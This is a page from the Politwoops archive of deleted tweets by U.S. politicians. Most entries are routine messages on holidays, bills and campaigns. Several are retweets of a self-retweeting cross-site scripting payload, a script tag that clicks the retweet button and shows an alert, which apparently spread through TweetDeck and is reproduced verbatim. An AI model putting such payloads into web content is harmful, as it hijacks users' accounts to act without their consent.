Politwoops Deleted Tweets from Politicians

An archive of the public statements deleted by U.S. politicians. Explore the tweets they would prefer you couldn't see.

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Dennis Ross (R) @RepDennisRoss

Happy Father's Day. Any favorite memories with your father or as a father yourself?

Niki Tsongas (D) @nikiinthehouse

Marlborough is home to Longfellow’s Wayside Inn, the oldest operating inn in the US, established in 1716. #3DThursday

Rep. Cheri Bustos (D) @RepCheri

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Cheri Bustos (D) @RepCheri

RT @diarrhea: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('I love poop')</script>♥

Pete Sessions (R) @PeteSessions

Yesterday I enjoyed meeting with students from the Harmony Science Academy in Dallas. #TX32 http://t.co/HeUdSKUv9H

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Rep. Cheri Bustos (D) @RepCheri

25 million hardworking Americans across every district will benefit if we #raisethewage to $10.10. Take a look: http://t.co/JO7uejzT1R

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Sean Parnell (R) @Parnell4Gov

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Adriano Espaillat (D) @EspaillatNY

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RT @RussOnPolitics: @eric_ulrich @NY1 @EspaillatNY Agreed. Rangel just comes off as angry. He seems resentful that someone even dares challenge him. #NY13

Rep. Jim McGovern (D) @McGovernMA

RT @RickCinclair: Mayor, Congressman, & Gov. greet @BarackObama at @FlyOrh #ObamaWorcester motorcade underway. http://t.co/wK3tFQxbxW

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Rep. Eric Swalwell (D) @RepSwalwell

RT @AdrienneNEdward: For those of you that asked.. My favorite active US Rep is Eric Swalwell @RepSwalwell

Rep. Lee Terry (R) @LEETERRYNE

Enjoyed catching up with my old friend Sam Cornelius and the NE Society Delegation reception. http://t.co/IsykDgeBtt

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Sam Brownback (R) @govsambrownback

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Scott Honour (R) @ScottHonourMN

RT @sarCCastro: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert(BENGHAZI)</script>♥

Congressman Joe Heck (R) @RepJoeHeck

RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Rep. Joe Garcia (D) @RepJoeGarcia

RT @Dani___Alves: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweetdeck')</script>♥

Quinn Campaign (D) @QuinnForIL

How long has Republican billionaire Bruce Rauner been hiding his budget plan? This long: http://t.co/zr0GhmiBpW #StillNoPlan

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Rep. Joe Garcia (D) @RepJoeGarcia

Today, I introduced my new #STEM bill. It will help boost our economy, create jobs & promote innovation. Read more http://t.co/GsWwj8NbAf

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